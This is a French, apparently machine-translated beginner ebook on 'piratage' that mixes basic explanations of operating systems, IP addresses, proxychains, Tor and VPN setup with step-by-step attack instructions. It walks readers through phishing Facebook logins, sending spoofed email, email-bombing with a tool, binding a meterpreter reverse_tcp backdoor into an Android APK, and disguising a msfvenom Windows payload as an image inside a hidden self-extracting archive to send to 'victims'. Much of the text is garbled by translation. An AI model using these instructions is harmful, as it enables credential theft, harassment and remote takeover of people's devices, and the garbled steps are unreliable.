Le piratage: Un guide pratique pour apprendre le piratage pour

shekhar mishra

VISIT...

LANZAROTE Caliente.com


UN GUIDE PRATIQUE POUR APPRENDRE LE PIRATAGE
POUR LES DÉBUTANTS
le piratage

Piratage: un guide pratique pour apprendre le piratage pour les débutants



Bonjour et bienvenue à notre cours de piratage dans ce cours, nous allons apprendre toutes les méthodes par lesquelles vous pouvez pirater n'importe quel appareil et quelques bases du piratage.

Contenu du livre-

Lession1-Quel est le piratage

Lession2-Types de piratage

Lesssion3-Qu'est-ce que Windows (explication complète)

Lesssion4- Qu'est-ce qu'une adresse IP? Types d'ip.

Lession5-Changer l'adresse IP du système d'exploitation.

Attaque de Lession6-Phishing

Lession7-Email spoofing

Bombardement de Lession8-Email

Lession9-Créer un virus de Troie pour pirater Windows

Lession10- Injection de virus dans l'image pour pirater Windows

Ce sont donc les chapitres que nous allons lire dans ce livre.

1 qu'est-ce que le piratage?

= Le piratage est une compétence dans laquelle les personnes ayant une connaissance extrême du matériel et des logiciels, à l'aide de cette connaissance, prennent le contrôle de tout appareil. Le système

d’exploitation de hacker est Kali Linux, il permet les outils de piratage extrêmes comme n map, Jhon the ripper et bien d’autres encore, ces outils facilitent le piratage et permettent d’économiser plus de temps, ce qui est le plus important pour le piratage.

Types de hackers - Il existe trois types de hacker (1) hacker non éthique (2) hacker éthique (3) chapeau gris

• **Non éthiques** - Les pirates informatiques qui utilisent leurs connaissances et leurs compétences en matière de piratage informatique à des fins lucratives et le travail illégal comme le piratage de sites Web, blogs, serveurs de banque juste pour y gagner profitent de ces types de pirates informatiques. sont comme une banque en meilleure santé, mais de manière numérique. Pirater un marsouin illégal est un cybercrime punissable.

Les hackers éthiques - Les hackers qui utilisent leurs connaissances et leurs compétences pour de bonnes actions telles que la protection des sites Web des entreprises, des sites Web des banques et des hackers non éthiques. Ce type de hackers est connu sous le nom de hack éthique ou de hacker blanc. pénétrer dans le système informatique et le réseau et trouver les vulnérabilités et les combler afin que les pirates black hat ne puissent abuser des avantages de cette vulnérabilité. Les sociétés de gouvernement et les sociétés privées se chargent des hackers éthiques pour leur réseau et leur sécurité informatique. Il s’agit d’un travail très réactif, de sorte que le salaire des pirates informatiques est également trop élevé, mais dépend de l’expérience d’un pirate informatique.

Pour télécharger + de livres gratuitement --> www.bookys-gratuit.com

Gray Hat Hackers - Les hackers Grey Hat sont une combinaison de hackers éthiques et non éthiques. Par exemple, il s'agit d'un groupe de pirates informatiques. Ce groupe a donc fait du bon travail et du travail illégal. Ou si nous disons de manière simple, le pirate informatique qui fait du bon travail derrière le public et le travail illégal quand il est seul s'appelle un hackers à chapeau gris.

3- qu'est-ce qu'une fenêtre et comment ça marche

- Windows est une plate-forme PC composée d’un système

d’exploitation, d’un middleware et de quelques applications clés.

- Si nous voyons un ordinateur portable ou un téléphone, celui-ci comporte deux composants matériel et logiciel, de sorte que l'abstraction entre matériel et logiciel ne constitue en rien un système d'exploitation. Le système d'exploitation d'un ordinateur est Windows.

Q Pourquoi devons-nous utiliser un système d'exploitation? Quelles sont ses responsabilités

- La première responsabilité d'un système d'exploitation est la gestion de la mémoire (elle gère la mémoire de l'appareil).
- La deuxième responsabilité d'un système d'exploitation est la gestion des ressources (elle gère les ressources telles que le ram et les processus)
- La troisième responsabilité d'un système d'exploitation est la gestion du pilote (il gère l'exemple du pilote si nous connectons une clé USB à l'aide d'otg, puis la gestion du pilote de l'OS le gère.)
- La quatrième responsabilité d’un système d’exploitation est la gestion de l’énergie (elle gère la conception de l’alimentation)

4- Qu'est-ce qu'une adresse IP? Type d'IP.

Protocole Internet: - Le protocole Internet (IP) est le principal protocole de communication de la suite de protocoles Internet permettant de relayer des datagrammes à travers les limites d'un réseau. Sa fonction de routage permet la mise en réseau et établit essentiellement Internet.

IP a pour tâche de livrer des paquets de l'hôte source à l'hôte de destination uniquement sur la base des adresses IP des en-têtes de paquet. Pour cela, IP définit des structures de paquets qui encapsulent les données à livrer. Il définit également les méthodes d'adressage utilisées pour étiqueter le datagramme avec les informations de source et de destination.

Types d'IP

Il existe quatre types d’adresses IP

• adresse IP locale

• IP publique

•IP dynamique

•I.P statique

• Adresse IP locale: une adresse IP externe ou publique est utilisée sur l'ensemble de l'Internet pour localiser les systèmes et périphériques informatiques. Une adresse IP locale ou interne est utilisée dans un réseau privé pour localiser les ordinateurs et les périphériques connectés. Elle est appelée adresse IP locale.

adresse IP publique: adresse IP publique accessible sur Internet. Comme les adresses postales pour livrer un courrier postal à votre domicile, une adresse IP publique est l'adresse IP unique attribuée à un périphérique informatique. Votre adresse IP publique peut être trouvée à la page Quelle est mon adresse IP.

IP dynamique - Une adresse IP dynamique est une adresse IP automatiquement attribuée à chaque connexion d'un réseau, comme vos smartphones, votre ordinateur de bureau, votre tablette sans fil, etc.

Cette attribution automatique d'adresses IP est effectuée par ce que l'on appelle un serveur DHCP. Une adresse IP attribuée à un serveur DHCP est appelée dynamique car elle sera souvent différente lors de futures connexions au réseau.

Le "contraire" d'une adresse IP dynamique s'appelle une adresse IP statique (une adresse configurée manuellement).

IP statique - Une adresse IP statique est une adresse IP configurée manuellement pour un périphérique, par opposition à une adresse attribuée via un serveur DHCP. Ça s'appelle statique parce que ça ne change pas. C'est l'opposé d'une adresse IP dynamique, qui change. Les routeurs, téléphones, tablettes, ordinateurs de bureau, ordinateurs portables et tout autre périphérique pouvant utiliser une adresse IP peuvent être configurés pour avoir une adresse IP statique. Cela peut être fait par le périphérique en donnant les adresses IP (comme le routeur) ou en tapant manuellement l'adresse IP dans la voix du périphérique, le périphérique lui-même.

Les adresses IP statiques sont aussi parfois appelées adresses IP fixes et adresses IP dédiées.

Pourquoi utiliseriez-vous une adresse IP statique?

Une autre façon de penser à une adresse IP statique consiste à penser à

une adresse électronique ou à une adresse physique. Ces adresses ne changent jamais - elles sont statiques - et il est très facile de contacter ou de trouver quelqu'un.

De même, une adresse IP statique est utile si vous hébergez un site Web chez vous, si vous avez un serveur de fichiers sur votre réseau, utilisez des imprimantes en réseau, transférez les ports vers un périphérique spécifique, exécutez un serveur d'impression ou utilisez un accès distant. programme. Comme une adresse IP statique ne change jamais, les autres appareils savent toujours comment contacter un appareil qui en utilise une.

Par exemple, supposons que vous configuriez une adresse IP statique pour l'un des ordinateurs de votre réseau domestique. Une fois qu'une adresse spécifique est associée à l'ordinateur, vous pouvez configurer votre routeur pour qu'il transfère toujours certaines demandes entrantes directement à cet ordinateur, telles que les demandes FTP si l'ordinateur partage des fichiers via FTP.

Ne pas utiliser une adresse IP statique (en utilisant une adresse IP dynamique qui change) deviendrait un problème si vous hébergez un site Web, par exemple, car à chaque nouvelle adresse IP de l'ordinateur, vous devrez modifier les paramètres du routeur. transmettre les demandes à cette nouvelle adresse. Négliger cela signifierait que personne ne pourrait accéder à votre site Web car votre routeur n'a aucune idée de quel appareil de votre réseau est celui qui dessert le site Web.

Un autre exemple d'adresse IP statique au travail concerne les serveurs DNS. Les serveurs DNS utilisent des adresses IP statiques pour que votre appareil sache toujours comment s'y connecter. S'ils changent souvent, il vous faudra reconfigurer régulièrement les serveurs DNS de votre routeur ou de votre ordinateur pour continuer à utiliser Internet comme à votre habitude.

Les adresses IP statiques sont également utiles lorsque le nom de domaine du périphérique est inaccessible. Les ordinateurs qui se connectent à un serveur de fichiers sur le réseau d'un lieu de travail, par exemple, pourraient être configurés pour toujours se connecter au serveur en utilisant l'adresse IP statique du serveur au lieu de son nom d'hôte. Même en cas de dysfonctionnement du serveur DNS, les ordinateurs pourraient toujours accéder au serveur de fichiers car ils communiqueraient directement avec ce dernier via l'adresse IP.

Avec les applications d'accès distant telles que Windows Remote Desktop, l'utilisation d'une adresse IP statique signifie que vous pouvez toujours accéder à cet ordinateur avec la même adresse. Pour utiliser une adresse IP qui change, vous devrez toujours savoir à quoi elle sert

afin de pouvoir utiliser cette nouvelle adresse pour la connexion à distance.

Adresses IP statiques et dynamiques

L'opposé d'une adresse IP statique qui ne change jamais est une adresse IP dynamique qui change tous les changements. Une adresse IP dynamique est simplement une adresse ordinaire, à l'instar d'une adresse IP statique, mais elle n'est pas liée de manière permanente à un périphérique particulier. Au lieu de cela, ils sont utilisés pendant un laps de temps spécifique, puis renvoyés dans un pool d'adresses afin que d'autres périphériques puissent les utiliser.

C'est l'une des raisons pour lesquelles les adresses IP dynamiques sont si utiles. Si un fournisseur d'accès utilisait des adresses IP statiques pour tous ses clients, cela signifierait qu'il y aurait constamment un nombre limité d'adresses pour les nouveaux clients. Les adresses dynamiques fournissent un moyen de réutiliser les adresses IP lorsqu'elles ne sont pas utilisées ailleurs, fournissant un accès Internet à beaucoup plus de périphériques que ce qui serait autrement possible.

Votre boîte de réception est-elle hors de contrôle?

Croyez-le ou non, notre newsletter gratuite et quotidienne peut vous aider à mieux utiliser la technologie et à décompresser votre boîte de réception. S'inscrire maintenant!

INSCRIPTION UNIQUE

Les adresses IP statiques limitent les temps d'arrêt. Lorsque les adresses dynamiques obtiennent une nouvelle adresse IP, tout utilisateur connecté à une adresse existante est démarré de la connexion et doit attendre pour trouver la nouvelle adresse. Ce ne serait pas une configuration sage si le serveur héberge un site Web, un service de partage de fichiers ou un jeu vidéo en ligne, qui nécessitent généralement des connexions actives en permanence.

L'adresse IP publique attribuée aux routeurs de la plupart des utilisateurs particuliers et professionnels est une adresse IP dynamique. Les grandes entreprises ne se connectent généralement pas à Internet via des adresses IP dynamiques; au lieu de cela, ils se voient attribuer des adresses IP statiques qui ne changent pas.

Inconvénients de l'utilisation d'une adresse IP statique

L'inconvénient majeur des adresses IP statiques sur les adresses dynamiques est que vous devez configurer les périphériques manuellement. Les exemples donnés ci-dessus en ce qui concerne un

serveur Web domestique et les programmes d'accès à distance vous obligent non seulement à configurer le périphérique avec une adresse IP, mais également à configurer correctement le routeur pour qu'il communique avec cette adresse spécifique.

Cela nécessite certainement plus de travail que de simplement brancher un routeur et de lui permettre de donner des adresses IP dynamiques via DHCP.

De plus, si vous attribuez à votre appareil une adresse IP de, disons, 192.168.1.110, mais que vous accédez ensuite à un autre réseau qui ne donne que des adresses 10.XXX, vous ne pourrez pas vous connecter avec votre Au lieu de cela, vous devrez reconfigurer votre appareil pour utiliser DHCP (ou choisir une adresse IP statique qui fonctionne avec ce nouveau réseau).

La sécurité peut constituer un autre inconvénient de l’utilisation d’adresses IP statiques. Une adresse qui ne change jamais donne aux pirates un délai prolongé pour rechercher des vulnérabilités dans le réseau de l'appareil. L’autre solution consiste à utiliser une adresse IP dynamique qui change et obligerait donc l’attaquant à modifier également la façon dont il communique avec le périphérique.

Comment définir une adresse IP statique dans Windows

Les étapes pour configurer une adresse IP statique dans Windows sont assez similaires dans Windows 10 à Windows XP. Consultez ce guide dans How-To Geek pour des instructions spécifiques à chaque version de Windows.

Certains routeurs vous permettent de réserver une adresse IP pour des périphériques spécifiques connectés à votre réseau. Cela se fait normalement via une réservation DHCP et associe une adresse IP à une adresse MAC de sorte que chaque fois que ce périphérique spécifique demande une adresse IP, le routeur lui attribue celle que vous avez choisie d'associer à cette adresse MAC physique. adresse.

Vous pouvez en savoir plus sur l'utilisation de la réservation DHCP sur le site Web du fabricant de votre routeur. Vous trouverez ci-dessous des liens vers des instructions relatives à cette opération sur les routeurs D-Link, Linksys et Netgear.

Faux une IP statique avec un service DNS dynamique

L'utilisation d'une adresse IP statique pour votre réseau domestique coûtera plus cher que de simplement obtenir une adresse IP dynamique classique. Au lieu de payer pour une adresse statique, vous pouvez utiliser ce qu'on appelle un service DNS dynamique.

Les services DNS dynamiques vous permettent d’associer votre adresse

IP dynamique en cours de modification à un nom d'hôte inchangé. C'est un peu comme si vous aviez votre propre adresse IP statique, mais sans aucun coût supplémentaire par rapport à celui que vous payez pour votre adresse IP dynamique.

No ip est un exemple de service DNS dynamique gratuit. Vous venez de télécharger leur client de mise à jour DNS qui redirige toujours le nom d'hôte que vous choisissez d'associer à votre adresse IP actuelle. Cela signifie que si vous avez une adresse IP dynamique, vous pouvez toujours accéder à votre réseau en utilisant le même nom d'hôte.

Un service DNS dynamique est très utile si vous devez accéder à votre réseau domestique avec un programme d'accès à distance mais ne voulez pas payer pour une adresse IP statique. De même, pouvez héberger votre propre site Web chez vous et utiliser un DNS dynamique pour vous assurer que vos visiteurs ont toujours accès à votre site Web.

ChangeIP.com et DNSdynamic sont deux autres services DNS dynamiques gratuits, mais il en existe beaucoup d'autres.

Plus d'informations sur les adresses IP statiques

Dans un réseau local, comme chez vous ou sur votre lieu de travail, où vous utilisez une adresse IP privée, la plupart des périphériques sont probablement configurés pour DHCP et utilisent donc des adresses IP dynamiques.

Toutefois, si DHCP n'est pas activé et que vous avez configuré vos propres informations réseau, vous utilisez une adresse IP statique.

Changer d'adresse IP-

= changer l'adresse IP d'un système d'exploitation est très important pour les pirates et le grand public, car les utilisateurs ne devraient pas être autorisés à rester anonymes sur le Web. Je n'aime pas que ce site ait besoin de savoir combien d'heures je passe à regarder des vidéos YouTube ou comment je fais mes transactions bancaires en ligne, en particulier lorsque chaque entreprise s'effondre sous les doigts de l'information

Donc, il y a trois méthodes pour changer l'adresse IP et être anonyme.

(1) chaîne de procuration

(2) navigateur Tor

(3) Vpn (réseau privé virtuel)

(1) chaîne de procuration

La chaîne de proxy est un outil qui vous permet d'enchaîner des multi-proxy pour vous connecter, puis d'envelopper votre programme de choix, de vous connecter à Internet, ce qui masque votre ip avec plusieurs couches et peut être un bon outil lorsque vous essayez d'être anonyme. aide de la chaîne de procuration, nous pouvons sélectionner n'importe quelle adresse IP du pays de notre choix.

Étapes pour changer ip avec des outils de chaîne de proxy.

Étape 1 - d'abord télécharger l'outil de chaîne de proxy en tapant l'urne dans la boîte à URL https://googleweblight.com/i?u=proxychains.sourceforge.net/&hl=en-IN&tg=161 ou directement sur Google pour la chaîne de proxy de téléchargement googleweblight tu auras.

Step2- Et installez cet outil et ouvrez le terminal

Étape 3 - tapez la commande sudotor -zxvf <nom du package>

Maintenant, changez les répertoires et configurez

Étape 4 - Tapez cd <répertoire de la chaîne proxy> && ./configure

Step5- puis tapez sudo make

Étape 6 - Installer la commande de la chaîne de proxy

Sudo fait installer

Maintenant, cette fois pour regarder une vidéo, allez sur youtube.com et tapez Configuration de la chaîne proxy, sélectionnez la vidéo avec le même titre et regardez-la.

Commandes dans cette vidéo

1. Nano proxychain.conf
2. Ajouter des mandataires aux fichiers de confirmation
3. Proxy chain curl -s https://checkips.dyndns.org

Pour exécuter Firefox à travers, lancez.

Proxy chainFirefox - Cela encapsulera la connexion Firefox et l’exécutera dans la chaîne si votre adresse IP a changé, félicitations!

Navigateur Tor -

= Le navigateur Tor est un logiciel qui vous protège en faisant rebondir votre communication sur un réseau de distribution de relais géré par des bénévoles du monde entier. Ce logiciel est disponible sur toutes les plateformes, comme Android, Windows, Linux et Linux, etc., et beaucoup plus. Grâce à ce logiciel, nous pouvons nous rendre plus anonymes. Toutes les attaques de piratage sont effectuées par Kali Linux, nous devons donc apprendre à installer le navigateur tor dans Kali Linux. Il suffit de suivre les étapes indiquées pour installer dans kali Linux OS

Step1- ouvrez le navigateur de votre kali Linux os

Étape 2 - Rendez-vous sur google.com et tapez navigateur pour Kali Linux et téléchargez-le à partir de son site officiel, mais n'oubliez pas de télécharger l'application en fonction de votre bit OS.

Étape 3 - maintenant votre fichier est au format zip l'extraire

step4- Ouvrez ce dossier et vous verrez un nom de fichier texte commencer à ouvrir le navigateur et tapez ctrl + f pour le trouver, tapez root sur le champ de recherche de fichier.

Étape 5 - Là, vous verrez un script écrit comme suit: “id-u“ -eq = 0, éditez simplement le texte, changez le 0 en 1 et sauvegardez-le.

step6- Maintenant, coupez tous les dossiers et allez sur le bureau, ouvrez un terminal et tapez cd desktop si le fichier de votre navigateur tor est sur le bureau. Sinon, allez dans le dossier où se trouve le fichier d’installation du navigateur et tapez command cd le nom d’installation du fichier du navigateur.

Étape 7 - Vous entrerez dans ce répertoire de fichiers, il vous suffira donc de taper cd pour copier le nom de fichier du navigateur ouvert ou précédent dans le terminal après avoir écrit cd. Appuyez ensuite sur Entrée, l’installation démarre automatiquement.

Naviguez sur Internet sans aucune tension de suivi, car le navigateur tor change votre adresse IP après un certain temps. Il est donc très difficile de trouver votre position actuelle.

Vpn (réseau privé virtuel)

- Normes VPN pour le réseau privé virtuel. Il s'agit d'un tunnel sécurisé entre deux ou plusieurs périphériques. Les VPN servent à protéger le trafic Web privé des interférences de surveillance. Un VPN disponible à partir d'Internet public peut offrir certains des avantages d'un réseau étendu. Donc, aujourd'hui, nous allons apprendre à utiliser un réseau privé virtuel (VPN) dans Kali Linux, de manière plus sûre et plus sûre.

Étapes pour connecter les paramètres VPN ouverts

Étape 1 - allez sur le bureau et ouvrez un terminal et tapez toutes ces commandes

Sudo apt-get install network.

Manager-openvpn network-manager

Réseau gestionnaire-gnome

Manager-openvpn-gnome

Après avoir tapé toute cette commande, tous les paramètres s'ouvriront pour vous connecter au VPN. Ensuite, mettez à jour le fichier de configuration du gestionnaire de réseau.open dans vim, tapez simplement commande.

Vi / etc / networkmanagement / networkmanager.conf

Appuyez sur i et installez un mode. Puis flèche vers la ligne qui dit.

[Principale]

Plugins = ifupdown, fichier clé

[Ifupdown]

Géré = vrai

Après le redémarrage de votre ordinateur et après le redémarrage, accédez au bureau, ouvrez le terminal et tapez ces commandes

= Mkdir - / openvpn.

Puis Cd dans ce répertoire.

= Cd - / openvpn

Puis lancez cette commande

= wget https://www.privateinternetaccess.com/openvpn/ openvpn.zip

Ensuite, téléchargez à partir du lien indiqué, le fichier sera au format zip et extrayez-le.

Ouvrez les paramètres, puis accédez au réseau. Une fois en réseau:

1. cliquez sur + en bas à gauche pour ajouter une nouvelle connexion.

2. Choisissez un VPN.

3. Cliquez sur importer depuis un fichier.

4. Allez dans le dossier openvpn que nous avons créé précédemment.

5. Double-cliquez sur la connexion souhaitée (USA, Est, Mexique, Toronto, etc.).

6. Supprimer: 1198 à la fin du champ de la passerelle, devrait se terminer par .com

7. Indiquez votre nom d'utilisateur et votre mot de passe PIA

8. Cliquez sur Avancé

9. Cochez Utiliser le port de passerelle personnalisé et définissez-le sur 1198.

10. Cliquez sur l'onglet sécurité en haut.

11. Faites défiler la liste jusqu'à ce que vous voyez AES-1286-CBC et vérifiez-le. N'utilisez pas la minuscule aes-128-cbc si vous la voyez.

12. Modifiez l'authentification HMAC en SHA-1.

13. Cliquez sur OK

14. Cliquez sur Appliquer

15. Choisissez votre nouveau VPN dans cette liste, cliquez sur le commutateur On / Off et regardez-le se connecter.

Une attaque par phishing

Q 1- Qu'est-ce qu'une attaque de phishing?

= attaque de phishing est un type d’engenement social dans lequel le pirate informatique crée une fausse page comme une vraie page et l’envoie à une victime pour lui demander de se connecter lorsque la victime s’y connecte. Le hack obtient le numéro d'identification et le mot de passe de l'utilisateur. Cette attaque peut être effectuée dans n'importe quel type de compte nécessitant un identifiant et un mot de passe pour se connecter. Généralement, cette attaque est utilisée pour le piratage de Facebook. Mais de nos jours, Facebook bloque le bit

bloquant le lien de phishing par cette attaque de phishing.

Q2 Comment pirater FB en utilisant une attaque de phishing.

Pour pirater Facebook par attaque de phishing, suivez les étapes ci-dessous.

(1) ouvrez votre navigateur

(2) allez sur google.com et recherchez shadowaves

(3) sélectionnez le haut du résultat et ouvrez ce site

(4) d'abord, créez votre compte et connectez-vous

(5) sur la page d'accueil, vous verrez deux options (1) samers1 (2) les fraudeurs sélectionnent la deuxième option (scamers2)

(6) copiez le lien et envoyez-le à vos victimes en massage ou dans un fichier zip, car si nous l'envoyons directement, fb bloquera ce lien et votre identifiant également.

(7) Et demandez à vous connecter quand il ou elle se connecte, vous obtiendrez le numéro et le mot de passe.

Usurpation de courrier électronique.

= L'usurpation d'email est la création d'un e-mail avec une adresse d'expéditeur falsifiée, car le protocole de messagerie principal ne dispose d'aucun mécanisme d'authentification, mais le filtre Gmail filtre le faux email envoyé au faux dossier par spam, ce que nous pouvons comprendre. est un faux email ou réel. L'usurpation de courrier électronique est utilisée pour l'envoi de spams et de liens de phishing. De ce fait, vous pouvez également pirater tout compte nécessitant une adresse électronique et un mot de passe pour vous connecter.

Il suffit de suivre les étapes indiquées pour envoyer un faux email

Étape 1 - allez sur le bureau et ouvrez votre navigateur et tapez le type de boîte URL https: //www.smtp2go.com et inscrivez-vous à l'aide de votre numéro de téléphone ou de votre courrier électronique car nous avons besoin d'un serveur SMTP pour envoyer un courrier électronique usurpé.

Étape 2-Ensuite, allez dans l'onglet utilisateur nouveau, vous pouvez voir votre nom de serveur et mot de passe dont vous avez besoin pour

copier le nom du serveur

Étape 3 - maintenant, allez au bureau, ouvrez un nouveau terminal et tapez send mail pour voir les options mais effacez maintenant le terminal en tapant clear sur le terminal.

Step4-now tapez une commande pour envoyer des emails spoofés

-f (tapez le faux email avec lequel vous voulez envoyer un email) -t (tapez votre identifiant d'e-mail cible) -u (tapez votre sujet) -m (tapez votre message) -s (tapez le nom de votre serveur que vous avez créé) 2525 -xu (nom d'utilisateur) -xp (mot de passe)

Exemple = -f billgrates@microsoft.com -t ddftx@gmail.com-u exemple -m juste un exemple -s 3456ght @ ... com2525 -xu piratage de fenêtres -xv windows123

Après avoir tapé cette presse appuyez sur entrez votre email va envoyer.

Bombardement d'email

Q- Qu'est-ce qu'un email à la bombe?

- L'attentat à la bombe d'email est un truc par lequel les hackers piratent envoient des milliers d'email à la fois à partir d'un email par lequel la victime ne peut pas trouver ses emails importants. Généralement, cette attaque est perpétrée chez les employeurs du gouvernement qui attendent leurs courriels. Donc, aujourd'hui, nous allons apprendre à envoyer des milliers d'e-mails à la fois en tapant simplement des commandes

Suivez les étapes indiquées:

- Allez sur le bureau et ouvrez votre navigateur
- Allez maintenant à google.com et tapez trity git hub ouvrez le haut du résultat
- Copier son lien et aller au bureau
- Maintenant, tapez cd Desktop pour changer votre répertoire en bureau
- Maintenant, tapez une commande git clone puis passez le lien que vous avez copié et appuyez sur Entrée, l'outil Trity s'installera sur le bureau.

Exemple - git clone github.com / .....

- Maintenant, tapez trity pour voir toutes les options, tapez email et appuyez sur enter

- Maintenant, votre adresse e-mail de victime sera demandée. Tapez son identifiant et appuyez sur Entrée.

- Maintenant, votre adresse e-mail sera demandée. Tapez votre adresse e-mail et appuyez sur Entrée.

- Ensuite, votre mot de passe sera demandé. Tapez votre mot de passe puis appuyez sur Entrée. N'oubliez pas que votre mot de passe n'apparaîtra pas lorsque vous saisirez l'option mot de passe trity.

- Maintenant, il vous sera demandé combien d'e-mails vous souhaitez envoyer. Tapez le numéro que vous souhaitez envoyer, mais vous ne pouvez envoyer que 500 e-mails à la fois à partir de n'importe quel identifiant valide.

- Maintenant attendez un peu votre email va bientôt envoyer

Créer un virus pour pirater Windows

• La création de virus et le piratage de Windows étant la base du piratage de Windows, nous allons apprendre aujourd'hui à créer un virus et à pirater Windows. Avant de créer un virus, changez votre adresse IP et utilisez VPN pour télécharger tous les fichiers. Il existe de nombreuses méthodes pour pirater des fenêtres, comme la création de virus de Troie, de charges utiles et bien d'autres. Nous allons donc apprendre à créer une charge utile et à injecter dans une application en suivant simplement les étapes indiquées ou en visionnant une vidéo YouTube en tapant simplement sur la boîte d'URL de YouTube backdore.apk Android piratage des données de liaison avec une application, sélectionnez les meilleurs résultats et regardez-les.

Pas:-

Étape 1 - allez sur le bureau et ouvrez votre navigateur

Step2- télécharger toute application Android moins de 10 Mo pour lier la charge dans apk.

Étape 3 - Maintenant, allez sur google.com et tapez backdore.apk git hub et ouvrez le premier résultat.

Étape 4 - Copiez le lien de cette application en cliquant sur cloner et

télécharger

Étape 5-Allez sur le bureau et tapez la commande cd desktop pour changer le répertoire sur le bureau

Step6-Type git clone et passez le lien que vous avez copié et appuyez sur Entrée cette application va télécharger sur votre bureau

Exemple d'écriture de la commande command-clone https://github.com/dana.at.cp/backdore.apk.get

Étape 6 - Ouvrez ce dossier et vous verrez un nom de dossier backdore.apk ouvrir ce dossier

Étape 7 - Copiez votre logiciel Windows et le coller dans le fichier backdore.apk.

Étape 8- Maintenant, coupez ce dossier et allez sur le bureau et ouvrez un nouveau terminal.

Step9- Tapez cd Desktop type pour entrer dans le bureau et ouvrir un nouveau terminal.

step10- Tapez ls pour voir tous les fichiers du répertoire en cours.

Étape 11- Ensuite, tapez cd backdore.apk et appuyez sur Entrée.

Étape 12- Ensuite, vous entrerez dans le type de répertoire ls du dossier backdore.apk et appuyez sur entrée.

Étape 13- Ensuite, tapez cd backdore.apk et appuyez sur Entrée puis tapez est pour voir le fichier du backdore.apk

Étape 14- Tapez la commande chmod + × backdore.apk.sh et appuyez sur Entrée

Step15-Tapez ./backdore-apk.sh puis tapez votre nom de fichier Windows et appuyez sur Entrée.

Etape 16 - Type 3 (meterpreter / reverce_tcp) il vous demandera de vous connecter

Étape 17- Ouvrez un nouveau terminal et tapez ipconfig pour voir votre IP le copier.

Étape 18: passez votre adresse IP à l’hôte et appuyez sur Entrée. N'oubliez pas que votre adresse IP doit être statique pour effectuer cette attaque (en).

Étape 19 - maintenant, votre port ne sera plus saisi regardez n'importe quelle vidéo et transmettez votre numéro de port.

Étape 20 - Maintenant, vous verrez beaucoup d'options, mais vous tapez simplement 2 et appuyez sur Entrée.

Étape 21- Ouvrez le fichier apk backdore, allez à nouveau dans le fichier backdore et ouvrez un terminal à travers celui-ci.

Etape 22 - Type de service apache2 start

Étape 23-Ensuite, tapez service postgresql start.

Étape 24- Puis tapez msfconsole

Step25- Puis tapez multi / handler

Etape 26- Ensuite, tapez set payload window / meterpreterreverse_tcp

Step27- set lhost tapez votre adresse IP statique

Step28-set lport port no qui est en avant

Étape 29- exploiter

Envoyez ce fichier apk à vos victimes et demandez à l'installer lorsqu'il ouvrira cette application. Vous obtiendrez tout le contrôle de son téléphone après l'installation et l'ouverture de l'application.

Step30- tapez aide pour voir ce que vous pouvez faire.

Lier le virus à une image (piratage Windows)

Nous avions déjà appris ce qu’est un virus et comment lier un virus à une application Windows, mais aujourd’hui, nous apprendrons comment lier un virus à une image. Ainsi, en envoyant une image, nous pouvons pirater n’importe quelle fenêtre, mais nous devrions l’envoyer dans un dossier. et le dossier doit être zip, il suffit de suivre les étapes indiquées.

Étape 1 - Aller sur le bureau et un nouveau terminal.

Step2- Tapez une commande = msfvenum -p windows / meterpreter / reverce_tcp Lhost (tapez votre adresse IP statique) Lport (votre numéro de port qui est transféré) -f exe -o /rootro/desktop/lol.exe

Votre image est maintenant générée sur le bureau, copiez-la et collez-la dans une page de bureau du système d'exploitation Windows.

Étape 3-Maintenant, liez le virus et l'image ensemble, mais avant de vous y attacher, assurez-vous que la révélation de votre image est faible

Étape 4 - sélectionnez les deux et cliquez sur le bouton droit et allez ajouter à l'archive

Étape 5- Renommez ensuite le nom du fichier.

Étape 6- Ensuite, allez en mode de compression et sélectionnez mieux

Étape 7 - Pour aller aux paramètres avancés, allez à nouveau aux paramètres d’installation et tapez les deux noms de fichier.

Étape 8- Ensuite, allez dans modes et sélectionnez cacher, puis allez dans option texte et icône et choisissez votre fichier dans l’icône sfx.

Étape 9- Sélectionnez ensuite l'option Écraser le fichier en mode Écraser.

Étape 10- Ensuite, appuyez sur ok pour les deux options que votre image va créer sur le bureau, puis envoyez-le à vos victimes, mais votre fichier doit être dans le fichier zip pour que l’application ne puisse pas le détecter.

Étape 11- Maintenant, allez sur le bureau kali Linux et ouvrez le terminal et là où vous avez laissé la commande type multi / handler

Étape 12- Ensuite, tapez set payload / meterpreter / reverce_tcp

Étape 13- Puis tapez set lhost (puis votre adresse IP statique)

Étape 14- Ensuite, tapez lport (votre port no qui est forward)

Etape 15 - Exploiter le type

Lorsque vos victimes ouvrent cette image après l'avoir extraite, vous obtiendrez le compteur métrique, vous pourrez alors faire tout ce que vous voulez, tapez simplement help pour voir.